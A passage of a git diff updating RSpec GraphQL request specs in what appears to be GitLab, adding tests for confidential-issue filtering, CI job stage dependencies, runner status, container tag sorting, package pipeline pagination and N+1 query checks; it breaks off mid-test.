+ let_it_be(:issue4) { create(:issue, project: issue_project, labels: [label], relative_position: 9) }
+ let_it_be(:issue5) { create(:issue, project: issue_project, labels: [label2], relative_position: 432) }
+ let_it_be(:issue6) { create(:issue, project: issue_project, labels: [label, label2], relative_position: nil) }
+ let_it_be(:issue7) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 5, confidential: true) }
context 'when the user does not have access to the board' do
it 'returns nil' do
@@ -90,23 +92,33 @@ RSpec.describe 'get board lists' do
expect(issue_id).not_to include(issue6.id)
expect(issue3.relative_position).to be_nil
end
+
+ context 'when filtering by confidential' do
+ let(:confidential) { true }
+
+ it 'returns matching issue' do
+ expect(issue_titles).to match_array([issue7.title])
+ expect(issue_relative_positions).not_to include(nil)
+ end
+ end
end
end
describe 'for a project' do
- let(:board_parent) { project }
- let(:label) { project_label }
- let(:label2) { project_label2 }
- let(:issue_project) { project }
+ let_it_be(:board_parent) { project }
+ let_it_be(:label) { project_label }
+ let_it_be(:label2) { project_label2 }
+ let_it_be(:issue_project) { project }
it_behaves_like 'group and project board list issues query'
end
describe 'for a group' do
- let(:board_parent) { group }
- let(:label) { group_label }
- let(:label2) { group_label2 }
- let(:issue_project) { create(:project, :private, group: group) }
+ let_it_be(:board_parent) { group }
+ let_it_be(:label) { group_label }
+ let_it_be(:label2) { group_label2 }
+
+ let_it_be(:issue_project) { create(:project, :private, group: group) }
before do
allow(board_parent).to receive(:multiple_issue_boards_available?).and_return(false)
diff --git a/spec/requests/api/graphql/boards/board_list_query_spec.rb b/spec/requests/api/graphql/boards/board_list_query_spec.rb
index dec7ca715f2..f01f7e87f10 100644
--- a/spec/requests/api/graphql/boards/board_list_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_list_query_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe 'Querying a Board list' do
let_it_be(:list) { create(:list, board: board, label: label) }
let_it_be(:issue1) { create(:issue, project: project, labels: [label]) }
let_it_be(:issue2) { create(:issue, project: project, labels: [label], assignees: [current_user]) }
+ let_it_be(:issue3) { create(:issue, project: project, labels: [label], confidential: true) }
let(:filters) { {} }
let(:query) do
@@ -37,19 +38,33 @@ RSpec.describe 'Querying a Board list' do
it { is_expected.to include({ 'issuesCount' => 2, 'title' => list.title }) }
- context 'with matching issue filters' do
- let(:filters) { { assigneeUsername: current_user.username } }
+ describe 'issue filters' do
+ context 'with matching assignee username issue filters' do
+ let(:filters) { { assigneeUsername: current_user.username } }
- it 'filters issues metadata' do
- is_expected.to include({ 'issuesCount' => 1, 'title' => list.title })
+ it 'filters issues metadata' do
+ is_expected.to include({ 'issuesCount' => 1, 'title' => list.title })
+ end
end
- end
- context 'with unmatching issue filters' do
- let(:filters) { { assigneeUsername: 'foo' } }
+ context 'with unmatching assignee username issue filters' do
+ let(:filters) { { assigneeUsername: 'foo' } }
+
+ it 'filters issues metadata' do
+ is_expected.to include({ 'issuesCount' => 0, 'title' => list.title })
+ end
+ end
+
+ context 'when filtering by confidential' do
+ let(:filters) { { confidential: true } }
+
+ before_all do
+ project.add_developer(current_user)
+ end
- it 'filters issues metadata' do
- is_expected.to include({ 'issuesCount' => 0, 'title' => list.title })
+ it 'filters issues metadata' do
+ is_expected.to include({ 'issuesCount' => 1, 'title' => list.title })
+ end
end
end
end
diff --git a/spec/requests/api/graphql/boards/board_lists_query_spec.rb b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
index ace8c59e82d..e8fb9daa43b 100644
--- a/spec/requests/api/graphql/boards/board_lists_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
@@ -109,9 +109,15 @@ RSpec.describe 'get board lists' do
it 'returns the correct list with issue count for matching issue filters' do
label_list = create(:list, board: board, label: label, position: 10)
create(:issue, project: project, labels: [label, label2])
+ create(:issue, project: project, labels: [label, label2], confidential: true)
create(:issue, project: project, labels: [label])
- post_graphql(query(id: global_id_of(label_list), issueFilters: { labelName: label2.title }), current_user: user)
+ post_graphql(
+ query(
+ id: global_id_of(label_list),
+ issueFilters: { labelName: label2.title, confidential: false }
+ ), current_user: user
+ )
aggregate_failures do
list_node = lists_data[0]['node']
diff --git a/spec/requests/api/graphql/ci/jobs_spec.rb b/spec/requests/api/graphql/ci/jobs_spec.rb
index b2f4801a083..3a1df3525ef 100644
--- a/spec/requests/api/graphql/ci/jobs_spec.rb
+++ b/spec/requests/api/graphql/ci/jobs_spec.rb
@@ -14,8 +14,8 @@ RSpec.describe 'Query.project.pipeline' do
describe '.stages.groups.jobs' do
let(:pipeline) do
pipeline = create(:ci_pipeline, project: project, user: user)
- stage = create(:ci_stage_entity, project: project, pipeline: pipeline, name: 'first')
- create(:ci_build, stage_id: stage.id, pipeline: pipeline, name: 'my test job')
+ stage = create(:ci_stage_entity, project: project, pipeline: pipeline, name: 'first', position: 1)
+ create(:ci_build, stage_id: stage.id, pipeline: pipeline, name: 'my test job', scheduling_type: :stage)
pipeline
end
@@ -44,13 +44,23 @@ RSpec.describe 'Query.project.pipeline' do
name
jobs {
nodes {
- detailedStatus {
- id
- }
name
needs {
nodes { #{all_graphql_fields_for('CiBuildNeed')} }
}
+ previousStageJobsOrNeeds {
+ nodes {
+ ... on CiBuildNeed {
+ #{all_graphql_fields_for('CiBuildNeed')}
+ }
+ ... on CiJob {
+ #{all_graphql_fields_for('CiJob')}
+ }
+ }
+ }
+ detailedStatus {
+ id
+ }
pipeline {
id
}
@@ -62,58 +72,61 @@ RSpec.describe 'Query.project.pipeline' do
FIELDS
end
- context 'when there are build needs' do
- before do
- pipeline.statuses.each do |build|
- create_list(:ci_build_need, 2, build: build)
- end
- end
-
- it 'reports the build needs' do
- post_graphql(query, current_user: user)
-
- expect(jobs_graphql_data).to contain_exactly a_hash_including(
- 'needs' => a_hash_including(
- 'nodes' => contain_exactly(
- a_hash_including('name' => String),
- a_hash_including('name' => String)
- )
- )
- )
- end
- end
-
it 'returns the jobs of a pipeline stage' do
post_graphql(query, current_user: user)
expect(jobs_graphql_data).to contain_exactly(a_hash_including('name' => 'my test job'))
end
- describe 'performance' do
+ context 'when there is more than one stage and job needs' do
before do
build_stage = create(:ci_stage_entity, position: 2, name: 'build', project: project, pipeline: pipeline)
test_stage = create(:ci_stage_entity, position: 3, name: 'test', project: project, pipeline: pipeline)
- create(:commit_status, pipeline: pipeline, stage_id: build_stage.id, name: 'docker 1 2')
- create(:commit_status, pipeline: pipeline, stage_id: build_stage.id, name: 'docker 2 2')
- create(:commit_status, pipeline: pipeline, stage_id: test_stage.id, name: 'rspec 1 2')
- create(:commit_status, pipeline: pipeline, stage_id: test_stage.id, name: 'rspec 2 2')
- end
- it 'can find the first stage' do
- post_graphql(query, current_user: user, variables: first_n.with(1))
+ create(:ci_build, pipeline: pipeline, name: 'docker 1 2', scheduling_type: :stage, stage: build_stage, stage_idx: build_stage.position)
+ create(:ci_build, pipeline: pipeline, name: 'docker 2 2', stage: build_stage, stage_idx: build_stage.position, scheduling_type: :dag)
+ create(:ci_build, pipeline: pipeline, name: 'rspec 1 2', scheduling_type: :stage, stage: test_stage, stage_idx: test_stage.position)
+ test_job = create(:ci_build, pipeline: pipeline, name: 'rspec 2 2', scheduling_type: :dag, stage: test_stage, stage_idx: test_stage.position)
- expect(jobs_graphql_data).to contain_exactly(a_hash_including('name' => 'my test job'))
+ create(:ci_build_need, build: test_job, name: 'my test job')
end
- it 'reports the build needs and previous stages with no duplicates', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/346433' do
+ it 'reports the build needs and execution requirements', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/347290' do
post_graphql(query, current_user: user)
expect(jobs_graphql_data).to contain_exactly(
- a_hash_including('name' => 'my test job'),
- a_hash_including('name' => 'docker 1 2'),
- a_hash_including('name' => 'docker 2 2'),
- a_hash_including('name' => 'rspec 1 2'),
- a_hash_including('name' => 'rspec 2 2')
+ a_hash_including(
+ 'name' => 'my test job',
+ 'needs' => { 'nodes' => [] },
+ 'previousStageJobsOrNeeds' => { 'nodes' => [] }
+ ),
+ a_hash_including(
+ 'name' => 'docker 1 2',
+ 'needs' => { 'nodes' => [] },
+ 'previousStageJobsOrNeeds' => { 'nodes' => [
+ a_hash_including( 'name' => 'my test job' )
+ ] }
+ ),
+ a_hash_including(
+ 'name' => 'docker 2 2',
+ 'needs' => { 'nodes' => [] },
+ 'previousStageJobsOrNeeds' => { 'nodes' => [] }
+ ),
+ a_hash_including(
+ 'name' => 'rspec 1 2',
+ 'needs' => { 'nodes' => [] },
+ 'previousStageJobsOrNeeds' => { 'nodes' => [
+ a_hash_including('name' => 'docker 1 2'),
+ a_hash_including('name' => 'docker 2 2')
+ ] }
+ ),
+ a_hash_including(
+ 'name' => 'rspec 2 2',
+ 'needs' => { 'nodes' => [a_hash_including('name' => 'my test job')] },
+ 'previousStageJobsOrNeeds' => { 'nodes' => [
+ a_hash_including('name' => 'my test job' )
+ ] }
+ )
)
end
diff --git a/spec/requests/api/graphql/ci/pipelines_spec.rb b/spec/requests/api/graphql/ci/pipelines_spec.rb
index 1f47f678898..95ddd0250e7 100644
--- a/spec/requests/api/graphql/ci/pipelines_spec.rb
+++ b/spec/requests/api/graphql/ci/pipelines_spec.rb
@@ -79,12 +79,13 @@ RSpec.describe 'Query.project(fullPath).pipelines' do
create(:ci_build, pipeline: pipeline, stage_id: other_stage.id, name: 'linux: [baz]')
end
- it 'is null if the user is a guest' do
+ it 'is present if the user has guest access' do
project.add_guest(user)
- post_graphql(query, current_user: user, variables: first_n.with(1))
+ post_graphql(query, current_user: user)
- expect(graphql_data_at(:project, :pipelines, :nodes)).to contain_exactly a_hash_including('stages' => be_nil)
+ expect(graphql_data_at(:project, :pipelines, :nodes, :stages, :nodes, :name))
+ .to contain_exactly(eq(stage.name), eq(other_stage.name))
end
it 'is present if the user has reporter access' do
@@ -113,12 +114,13 @@ RSpec.describe 'Query.project(fullPath).pipelines' do
wrap_fields(query_graphql_path(query_path, :name))
end
- it 'is empty if the user is a guest' do
+ it 'is present if the user has guest access' do
project.add_guest(user)
post_graphql(query, current_user: user)
- expect(graphql_data_at(:project, :pipelines, :nodes, :stages, :nodes, :groups)).to be_empty
+ expect(graphql_data_at(:project, :pipelines, :nodes, :stages, :nodes, :groups, :nodes, :name))
+ .to contain_exactly('linux', 'linux')
end
it 'is present if the user has reporter access' do
diff --git a/spec/requests/api/graphql/ci/runner_spec.rb b/spec/requests/api/graphql/ci/runner_spec.rb
index ab53ff654e9..98d3a3b1c51 100644
--- a/spec/requests/api/graphql/ci/runner_spec.rb
+++ b/spec/requests/api/graphql/ci/runner_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe 'Query.runner(id)' do
'revision' => runner.revision,
'locked' => false,
'active' => runner.active,
- 'status' => runner.status.to_s.upcase,
+ 'status' => runner.status('14.5').to_s.upcase,
'maximumTimeout' => runner.maximum_timeout,
'accessLevel' => runner.access_level.to_s.upcase,
'runUntagged' => runner.run_untagged,
@@ -221,6 +221,54 @@ RSpec.describe 'Query.runner(id)' do
end
end
+ describe 'for runner with status' do
+ let_it_be(:stale_runner) { create(:ci_runner, description: 'Stale runner 1', created_at: 3.months.ago) }
+ let_it_be(:never_contacted_instance_runner) { create(:ci_runner, description: 'Missing runner 1', created_at: 1.month.ago, contacted_at: nil) }
+
+ let(:status_fragment) do
+ %(
+ status
+ legacyStatusWithExplicitVersion: status(legacyMode: "14.5")
+ newStatus: status(legacyMode: null)
+ )
+ end
+
+ let(:query) do
+ %(
+ query {
+ staleRunner: runner(id: "#{stale_runner.to_global_id}") { #{status_fragment} }
+ pausedRunner: runner(id: "#{inactive_instance_runner.to_global_id}") { #{status_fragment} }
+ neverContactedInstanceRunner: runner(id: "#{never_contacted_instance_runner.to_global_id}") { #{status_fragment} }
+ }
+ )
+ end
+
+ it 'retrieves status fields with expected values' do
+ post_graphql(query, current_user: user)
+
+ stale_runner_data = graphql_data_at(:stale_runner)
+ expect(stale_runner_data).to match a_hash_including(
+ 'status' => 'NOT_CONNECTED',
+ 'legacyStatusWithExplicitVersion' => 'NOT_CONNECTED',
+ 'newStatus' => 'STALE'
+ )
+
+ paused_runner_data = graphql_data_at(:paused_runner)
+ expect(paused_runner_data).to match a_hash_including(
+ 'status' => 'PAUSED',
+ 'legacyStatusWithExplicitVersion' => 'PAUSED',
+ 'newStatus' => 'OFFLINE'
+ )
+
+ never_contacted_instance_runner_data = graphql_data_at(:never_contacted_instance_runner)
+ expect(never_contacted_instance_runner_data).to match a_hash_including(
+ 'status' => 'NOT_CONNECTED',
+ 'legacyStatusWithExplicitVersion' => 'NOT_CONNECTED',
+ 'newStatus' => 'NEVER_CONTACTED'
+ )
+ end
+ end
+
describe 'for multiple runners' do
let_it_be(:project1) { create(:project, :test_repo) }
let_it_be(:project2) { create(:project, :test_repo) }
diff --git a/spec/requests/api/graphql/ci/runners_spec.rb b/spec/requests/api/graphql/ci/runners_spec.rb
index 51a07e60e15..267dd1b5e6f 100644
--- a/spec/requests/api/graphql/ci/runners_spec.rb
+++ b/spec/requests/api/graphql/ci/runners_spec.rb
@@ -62,6 +62,15 @@ RSpec.describe 'Query.runners' do
it_behaves_like 'a working graphql query returning expected runner'
end
+
+ context 'runner_type is PROJECT_TYPE and status is NEVER_CONTACTED' do
+ let(:runner_type) { 'PROJECT_TYPE' }
+ let(:status) { 'NEVER_CONTACTED' }
+
+ let!(:expected_runner) { project_runner }
+
+ it_behaves_like 'a working graphql query returning expected runner'
+ end
end
describe 'pagination' do
diff --git a/spec/requests/api/graphql/container_repository/container_repository_details_spec.rb b/spec/requests/api/graphql/container_repository/container_repository_details_spec.rb
index d93afcc0f33..802ab847b3d 100644
--- a/spec/requests/api/graphql/container_repository/container_repository_details_spec.rb
+++ b/spec/requests/api/graphql/container_repository/container_repository_details_spec.rb
@@ -30,6 +30,14 @@ RSpec.describe 'container repository details' do
subject { post_graphql(query, current_user: user, variables: variables) }
+ shared_examples 'returning an invalid value error' do
+ it 'returns an error' do
+ subject
+
+ expect(graphql_errors.first.dig('message')).to match(/invalid value/)
+ end
+ end
+
it_behaves_like 'a working graphql query' do
before do
subject
@@ -138,6 +146,80 @@ RSpec.describe 'container repository details' do
end
end
+ context 'sorting the tags' do
+ let(:sort) { 'NAME_DESC' }
+ let(:tags_response) { container_repository_details_response.dig('tags', 'edges') }
+ let(:variables) do
+ { id: container_repository_global_id, n: sort }
+ end
+
+ let(:query) do
+ <<~GQL
+ query($id: ID!, $n: ContainerRepositoryTagSort) {
+ containerRepository(id: $id) {
+ tags(sort: $n) {
+ edges {
+ node {
+ #{all_graphql_fields_for('ContainerRepositoryTag')}
+ }
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'sorts the tags', :aggregate_failures do
+ subject
+
+ expect(tags_response.first.dig('node', 'name')).to eq('tag5')
+ expect(tags_response.last.dig('node', 'name')).to eq('latest')
+ end
+
+ context 'invalid sort' do
+ let(:sort) { 'FOO_ASC' }
+
+ it_behaves_like 'returning an invalid value error'
+ end
+ end
+
+ context 'filtering by name' do
+ let(:name) { 'l' }
+ let(:tags_response) { container_repository_details_response.dig('tags', 'edges') }
+ let(:variables) do
+ { id: container_repository_global_id, n: name }
+ end
+
+ let(:query) do
+ <<~GQL
+ query($id: ID!, $n: String) {
+ containerRepository(id: $id) {
+ tags(name: $n) {
+ edges {
+ node {
+ #{all_graphql_fields_for('ContainerRepositoryTag')}
+ }
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'sorts the tags', :aggregate_failures do
+ subject
+
+ expect(tags_response.size).to eq(1)
+ expect(tags_response.first.dig('node', 'name')).to eq('latest')
+ end
+
+ context 'invalid filter' do
+ let(:name) { 1 }
+
+ it_behaves_like 'returning an invalid value error'
+ end
+ end
+
context 'with tags with a manifest containing nil fields' do
let(:tags_response) { container_repository_details_response.dig('tags', 'nodes') }
let(:errors) { container_repository_details_response.dig('errors') }
diff --git a/spec/requests/api/graphql/current_user/todos_query_spec.rb b/spec/requests/api/graphql/current_user/todos_query_spec.rb
index 981b10a7467..5a45f0db518 100644
--- a/spec/requests/api/graphql/current_user/todos_query_spec.rb
+++ b/spec/requests/api/graphql/current_user/todos_query_spec.rb
@@ -69,7 +69,7 @@ RSpec.describe 'Query current user todos' do
QUERY
end
- it 'avoids N+1 queries', :request_store do
+ it 'avoids N+1 queries', :request_store, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/338671' do
control = ActiveRecord::QueryRecorder.new { post_graphql(query, current_user: current_user) }
project2 = create(:project)
diff --git a/spec/requests/api/graphql/mutations/design_management/delete_spec.rb b/spec/requests/api/graphql/mutations/design_management/delete_spec.rb
index 1dffb86b344..1f43f113e65 100644
--- a/spec/requests/api/graphql/mutations/design_management/delete_spec.rb
+++ b/spec/requests/api/graphql/mutations/design_management/delete_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe "deleting designs" do
context 'the designs list contains filenames we cannot find' do
it_behaves_like 'a failed request' do
- let(:designs) { %w/foo bar baz/.map { |fn| instance_double('file', filename: fn) } }
+ let(:designs) { %w/foo bar baz/.map { |fn| double('file', filename: fn) } }
let(:the_error) { a_string_matching %r/filenames were not found/ }
end
end
diff --git a/spec/requests/api/graphql/mutations/issues/set_crm_contacts_spec.rb b/spec/requests/api/graphql/mutations/issues/set_crm_contacts_spec.rb
index 3da702c55d7..2da69509ad6 100644
--- a/spec/requests/api/graphql/mutations/issues/set_crm_contacts_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/set_crm_contacts_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'Setting issues crm contacts' do
let(:issue) { create(:issue, project: project) }
let(:operation_mode) { Types::MutationOperationModeEnum.default_mode }
- let(:crm_contact_ids) { [global_id_of(contacts[1]), global_id_of(contacts[2])] }
+ let(:contact_ids) { [global_id_of(contacts[1]), global_id_of(contacts[2])] }
let(:does_not_exist_or_no_permission) { "The resource that you are attempting to access does not exist or you don't have permission to perform this action" }
let(:mutation) do
@@ -20,7 +20,7 @@ RSpec.describe 'Setting issues crm contacts' do
project_path: issue.project.full_path,
iid: issue.iid.to_s,
operation_mode: operation_mode,
- crm_contact_ids: crm_contact_ids
+ contact_ids: contact_ids
}
graphql_mutation(:issue_set_crm_contacts, variables,
@@ -83,7 +83,7 @@ RSpec.describe 'Setting issues crm contacts' do
end
context 'append' do
- let(:crm_contact_ids) { [global_id_of(contacts[3])] }
+ let(:contact_ids) { [global_id_of(contacts[3])] }
let(:operation_mode) { Types::MutationOperationModeEnum.enum[:append] }
it 'updates the issue with correct contacts' do
@@ -95,7 +95,7 @@ RSpec.describe 'Setting issues crm contacts' do
end
context 'remove' do
- let(:crm_contact_ids) { [global_id_of(contacts[0])] }
+ let(:contact_ids) { [global_id_of(contacts[0])] }
let(:operation_mode) { Types::MutationOperationModeEnum.enum[:remove] }
it 'updates the issue with correct contacts' do
@@ -107,7 +107,7 @@ RSpec.describe 'Setting issues crm contacts' do
end
context 'when the contact does not exist' do
- let(:crm_contact_ids) { ["gid://gitlab/CustomerRelations::Contact/#{non_existing_record_id}"] }
+ let(:contact_ids) { ["gid://gitlab/CustomerRelations::Contact/#{non_existing_record_id}"] }
it 'returns expected error' do
post_graphql_mutation(mutation, current_user: user)
@@ -120,7 +120,7 @@ RSpec.describe 'Setting issues crm contacts' do
context 'when the contact belongs to a different group' do
let(:group2) { create(:group) }
let(:contact) { create(:contact, group: group2) }
- let(:crm_contact_ids) { [global_id_of(contact)] }
+ let(:contact_ids) { [global_id_of(contact)] }
before do
group2.add_reporter(user)
@@ -137,7 +137,7 @@ RSpec.describe 'Setting issues crm contacts' do
context 'when attempting to add more than 6' do
let(:operation_mode) { Types::MutationOperationModeEnum.enum[:append] }
let(:gid) { global_id_of(contacts[0]) }
- let(:crm_contact_ids) { [gid, gid, gid, gid, gid, gid, gid] }
+ let(:contact_ids) { [gid, gid, gid, gid, gid, gid, gid] }
it 'returns expected error' do
post_graphql_mutation(mutation, current_user: user)
@@ -149,7 +149,7 @@ RSpec.describe 'Setting issues crm contacts' do
context 'when trying to remove non-existent contact' do
let(:operation_mode) { Types::MutationOperationModeEnum.enum[:remove] }
- let(:crm_contact_ids) { ["gid://gitlab/CustomerRelations::Contact/#{non_existing_record_id}"] }
+ let(:contact_ids) { ["gid://gitlab/CustomerRelations::Contact/#{non_existing_record_id}"] }
it 'raises expected error' do
post_graphql_mutation(mutation, current_user: user)
diff --git a/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb b/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
index 716983f01d2..28a46583d2a 100644
--- a/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Create a user callout' do
let_it_be(:current_user) { create(:user) }
- let(:feature_name) { ::UserCallout.feature_names.each_key.first }
+ let(:feature_name) { ::Users::Callout.feature_names.each_key.first }
let(:input) do
{
diff --git a/spec/requests/api/graphql/packages/package_spec.rb b/spec/requests/api/graphql/packages/package_spec.rb
index 83ea9ff4dc8..a9019a7611a 100644
--- a/spec/requests/api/graphql/packages/package_spec.rb
+++ b/spec/requests/api/graphql/packages/package_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe 'package details' do
include GraphqlHelpers
- let_it_be(:project) { create(:project) }
+ let_it_be_with_reload(:project) { create(:project) }
let_it_be(:composer_package) { create(:composer_package, project: project) }
let_it_be(:composer_json) { { name: 'name', type: 'type', license: 'license', version: 1 } }
let_it_be(:composer_metadatum) do
@@ -68,7 +68,7 @@ RSpec.describe 'package details' do
subject
expect(graphql_data_at(:package, :versions, :nodes, :version)).to be_present
- expect(graphql_data_at(:package, :versions, :nodes, :versions, :nodes)).to be_empty
+ expect(graphql_data_at(:package, :versions, :nodes, :versions, :nodes)).to eq [nil, nil]
end
end
end
@@ -96,4 +96,87 @@ RSpec.describe 'package details' do
expect(graphql_data_at(:b)).to be(nil)
end
end
+
+ context 'with unauthorized user' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ it 'returns no packages' do
+ subject
+
+ expect(graphql_data_at(:package)).to be_nil
+ end
+ end
+
+ context 'pipelines field', :aggregate_failures do
+ let(:pipelines) { create_list(:ci_pipeline, 6, project: project) }
+ let(:pipeline_gids) { pipelines.sort_by(&:id).map(&:to_gid).map(&:to_s).reverse }
+
+ before do
+ composer_package.pipelines = pipelines
+ composer_package.save!
+ end
+
+ def run_query(args)
+ pipelines_nodes = <<~QUERY
+ nodes {
+ id
+ }
+ pageInfo {
+ startCursor
+ endCursor
+ }
+ QUERY
+
+ query = graphql_query_for(:package, { id: package_global_id }, query_graphql_field("pipelines", args, pipelines_nodes))
+ post_graphql(query, current_user: user)
+ end
+
+ it 'loads the second page with pagination first correctly' do
+ run_query(first: 2)
+ pipeline_ids = graphql_data.dig('package', 'pipelines', 'nodes').pluck('id')
+
+ expect(pipeline_ids).to eq(pipeline_gids[0..1])
+
+ cursor = graphql_data.dig('package', 'pipelines', 'pageInfo', 'endCursor')
+
+ run_query(first: 2, after: cursor)
+
+ pipeline_ids = graphql_data.dig('package', 'pipelines', 'nodes').pluck('id')
+
+ expect(pipeline_ids).to eq(pipeline_gids[2..3])
+ end
+
+ it 'loads the second page with pagination last correctly' do
+ run_query(last: 2)
+ pipeline_ids = graphql_data.dig('package', 'pipelines', 'nodes').pluck('id')
+
+ expect(pipeline_ids).to eq(pipeline_gids[4..5])
+
+ cursor = graphql_data.dig('package', 'pipelines', 'pageInfo', 'startCursor')
+
+ run_query(last: 2, before: cursor)
+
+ pipeline_ids = graphql_data.dig('package', 'pipelines', 'nodes').pluck('id')
+
+ expect(pipeline_ids).to eq(pipeline_gids[2..3])
+ end
+
+ context 'with unauthorized user' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ it 'returns no packages' do
+ run_query(first: 2)
+
+ expect(graphql_data_at(:package)).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/cluster_agents_spec.rb b/spec/requests/api/graphql/project/cluster_agents_spec.rb
index dc7254dd552..585126f3849 100644
--- a/spec/requests/api/graphql/project/cluster_agents_spec.rb
+++ b/spec/requests/api/graphql/project/cluster_agents_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Project.cluster_agents' do
let_it_be(:project) { create(:project, :public) }
let_it_be(:current_user) { create(:user, maintainer_projects: [project]) }
- let_it_be(:agents) { create_list(:cluster_agent, 5, project: project) }
+ let_it_be(:agents) { create_list(:cluster_agent, 3, project: project) }
let(:first) { var('Int') }
let(:cluster_agents_fields) { nil }
@@ -105,4 +105,37 @@ RSpec.describe 'Project.cluster_agents' do
})
end
end
+
+ context 'selecting activity events' do
+ let_it_be(:token) { create(:cluster_agent_token, agent: agents.first) }
+ let_it_be(:event) { create(:agent_activity_event, agent: agents.first, agent_token: token, user: current_user) }
+
+ let(:cluster_agents_fields) { [:id, query_nodes(:activity_events, of: 'ClusterAgentActivityEvent', max_depth: 2)] }
+
+ it 'retrieves activity event details' do
+ post_graphql(query, current_user: current_user)
+
+ response = graphql_data_at(:project, :cluster_agents, :nodes, :activity_events, :nodes).first
+
+ expect(response).to include({
+ 'kind' => event.kind,
+ 'level' => event.level,
+ 'recordedAt' => event.recorded_at.iso8601,
+ 'agentToken' => hash_including('name' => token.name),
+ 'user' => hash_including('name' => current_user.name)
+ })
+ end
+
+ it 'preloads associations to prevent N+1 queries' do
+ user = create(:user)
+ token = create(:cluster_agent_token, agent: agents.second)
+ create(:agent_activity_event, agent: agents.second, agent_token: token, user: user)
+
+ post_graphql(query, current_user: current_user)
+
+ expect do
+ post_graphql(query, current_user: current_user)
+ end.to issue_same_number_of_queries_as { post_graphql(query, current_user: current_user, variables: [first.with(1)]) }
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/jobs_spec.rb b/spec/requests/api/graphql/project/jobs_spec.rb
new file mode 100644
index 00000000000..1a823ede9ac
--- /dev/null
+++ b/spec/requests/api/graphql/project/jobs_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'Query.project.jobs' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:user) { create(:user) }
+
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, user: user)
+ end
+
+ let(:query) do
+ <<~QUERY
+ {
+ project(fullPath: "#{project.full_path}") {
+ jobs {
+ nodes {
+ name
+ previousStageJobsAndNeeds {
+ nodes {
+ name
+ }
+ }
+ }
+ }
+ }
+ }
+ QUERY
+ end
+
+ it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
+ build_stage = create(:ci_stage_entity, position: 1, name: 'build', project: project, pipeline: pipeline)
+ test_stage = create(:ci_stage_entity, position: 2, name: 'test', project: project, pipeline: pipeline)
+ create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 1 2', stage: build_stage)
+ create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 2 2', stage: build_stage)
+ create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 1 2', stage: test_stage)
+ test_job = create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 2 2', stage: test_stage)
+ create(:ci_build_need, build: test_job, name: 'docker 1 2')
+
+ post_graphql(query, current_user: user)
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ post_graphql(query, current_user: user)
+ end
+
+ create(:ci_build, name: 'test-a', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
+ test_b_job = create(:ci_build, name: 'test-b', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
+ create(:ci_build_need, build: test_b_job, name: 'docker 2 2')
+
+ expect do
+ post_graphql(query, current_user: user)
+ end.not_to exceed_all_query_limit(control)
+ end
+end
diff --git a/spec/requests/api/graphql/project/pipeline_spec.rb b/spec/requests/api/graphql/project/pipeline_spec.rb
index d46ef313563..73e02e2a4b1 100644
--- a/spec/requests/api/graphql/project/pipeline_spec.rb
+++ b/spec/requests/api/graphql/project/pipeline_spec.rb
@@ -273,6 +273,48 @@ RSpec.describe 'getting pipeline information nested in a project' do
end
end
+ context 'N+1 queries on pipeline jobs' do
+ let(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let(:fields) do
+ <<~FIELDS
+ jobs {
+ nodes {
+ previousStageJobsAndNeeds {
+ nodes {
+ name
+ }
+ }
+ }
+ }
+ FIELDS
+ end
+
+ it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
+ build_stage = create(:ci_stage_entity, position: 1, name: 'build', project: project, pipeline: pipeline)
+ test_stage = create(:ci_stage_entity, position: 2, name: 'test', project: project, pipeline: pipeline)
+ create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 1 2', stage: build_stage)
+ create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 2 2', stage: build_stage)
+ create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 1 2', stage: test_stage)
+ test_job = create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 2 2', stage: test_stage)
+ create(:ci_build_need, build: test_job, name: 'docker 1 2')
+
+ post_graphql(query, current_user: current_user)
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ post_graphql(query, current_user: current_user)
+ end
+
+ create(:ci_build, name: 'test-a', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
